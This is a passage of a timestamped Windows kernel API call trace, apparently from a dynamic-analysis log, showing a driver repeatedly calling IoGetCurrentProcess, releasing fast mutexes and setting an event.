IoGetCurrentProcess () returned 0xffffe000011ff900 [0092.048] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.048] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.052] IoGetCurrentProcess () returned 0xffffe000011ff900 [0092.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.052] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.054] IoGetCurrentProcess () returned 0xffffe000011ff900 [0092.054] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.054] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.065] IoGetCurrentProcess () returned 0xffffe000011ff900 [0092.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.065] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.080] IoGetCurrentProcess () returned 0xffffe000011ff900 [0092.080] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.080] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.087] IoGetCurrentProcess () returned 0xffffe000011ff900 [0092.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.087] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.249] IoGetCurrentProcess () returned 0xffffe000011ff900 [0092.250] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.250] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.250] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0092.986] IoGetCurrentProcess () returned 0xffffe000011ff900 [0092.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0092.986] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0092.986] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0093.197] IoGetCurrentProcess () returned 0xffffe000011ff900 [0093.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0093.197] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0093.197] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0093.414] IoGetCurrentProcess () returned 0xffffe000011ff900 [0093.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0093.414] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0093.414] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0093.586] IoGetCurrentProcess () returned 0xffffe000011ff900 [0093.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0093.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0093.586] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0093.666] IoGetCurrentProcess () returned 0xffffe000011ff900 [0093.666] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0093.666] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.142] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.142] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.142] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.142] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0094.273] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.273] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.273] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0094.292] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.292] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.376] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.376] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.376] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.382] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.382] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.429] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.429] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.496] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.496] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.496] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.506] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.506] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.506] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.512] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.512] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.512] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.519] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.520] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.526] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.526] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.526] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.534] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.542] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.542] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.578] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.578] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.579] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.586] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.586] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.594] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.594] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.594] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.601] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.602] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.602] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.626] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.626] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.698] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.698] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.698] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.840] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.840] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.840] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.840] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0094.873] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.873] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.880] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.880] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.904] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.904] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.904] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.913] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.913] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.913] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.938] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.938] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.938] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.949] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.949] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.949] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.952] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.953] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.966] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.966] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.972] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.972] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.979] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.979] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.985] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.985] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.992] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.992] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0094.999] IoGetCurrentProcess () returned 0xffffe000011ff900 [0094.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0094.999] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.006] IoGetCurrentProcess () returned 0xffffe000011ff900 [0095.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.006] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.015] IoGetCurrentProcess () returned 0xffffe000011ff900 [0095.015] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.016] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.021] IoGetCurrentProcess () returned 0xffffe000011ff900 [0095.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.021] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.029] IoGetCurrentProcess () returned 0xffffe000011ff900 [0095.029] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.029] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.036] IoGetCurrentProcess () returned 0xffffe000011ff900 [0095.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.036] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.043] IoGetCurrentProcess () returned 0xffffe000011ff900 [0095.043] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.043] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.090] IoGetCurrentProcess () returned 0xffffe000011ff900 [0095.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.090] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.108] IoGetCurrentProcess () returned 0xffffe000011ff900 [0095.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.108] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.120] IoGetCurrentProcess () returned 0xffffe000011ff900 [0095.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.120] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.138] IoGetCurrentProcess () returned 0xffffe000011ff900 [0095.138] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.138] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0095.205] IoGetCurrentProcess () returned 0xffffe000011ff900 [0095.205] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0095.205] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.561] IoGetCurrentProcess () returned 0xffffe000011ff900 [0096.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.562] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0096.562] IoGetCurrentProcess () returned 0xffffe000011ff900 [0096.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.563] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.607] IoGetCurrentProcess () returned 0xffffe000011ff900 [0096.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.607] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.698] IoGetCurrentProcess () returned 0xffffe000011ff900 [0096.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.785] IoGetCurrentProcess () returned 0xffffe000011ff900 [0096.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.785] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.798] IoGetCurrentProcess () returned 0xffffe000011ff900 [0096.798] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.798] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.826] IoGetCurrentProcess () returned 0xffffe000011ff900 [0096.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.826] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.833] IoGetCurrentProcess () returned 0xffffe000011ff900 [0096.833] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.833] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.844] IoGetCurrentProcess () returned 0xffffe000011ff900 [0096.845] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.845] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.852] IoGetCurrentProcess () returned 0xffffe000011ff900 [0096.852] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.852] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.860] IoGetCurrentProcess () returned 0xffffe000011ff900 [0096.860] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.860] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0096.890] IoGetCurrentProcess () returned 0xffffe000011ff900 [0096.890] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0096.890] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.126] IoGetCurrentProcess () returned 0xffffe000011ff900 [0097.127] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0097.127] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.137] IoGetCurrentProcess () returned 0xffffe000011ff900 [0097.137] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0097.137] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.477] IoGetCurrentProcess () returned 0xffffe000011ff900 [0097.477] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0097.477] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.477] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0097.963] IoGetCurrentProcess () returned 0xffffe000011ff900 [0097.963] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0097.963] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0097.963] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0097.991] IoGetCurrentProcess () returned 0xffffe000011ff900 [0097.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0097.991] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.047] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.047] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.047] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.105] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.105] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.319] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.319] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.319] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0098.322] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.322] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.323] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.344] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.344] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.344] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.384] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.384] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.412] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.412] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.460] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.460] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.472] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.472] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.479] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.479] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.479] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.488] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.488] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.495] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.495] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.495] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.502] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.502] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.512] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.512] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.512] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.519] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.519] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.527] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.527] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.527] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.534] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.534] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.539] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.539] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.539] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.555] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.555] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.562] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.562] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.570] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.570] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.571] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.571] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.622] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.622] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.622] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.623] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.623] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.623] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.650] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.650] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.650] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.660] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.725] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.725] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.725] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.751] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.752] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.758] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) [0098.758] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0098.765] IoGetCurrentProcess () returned 0xffffe000011ff900 [0098.765] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000128f180) 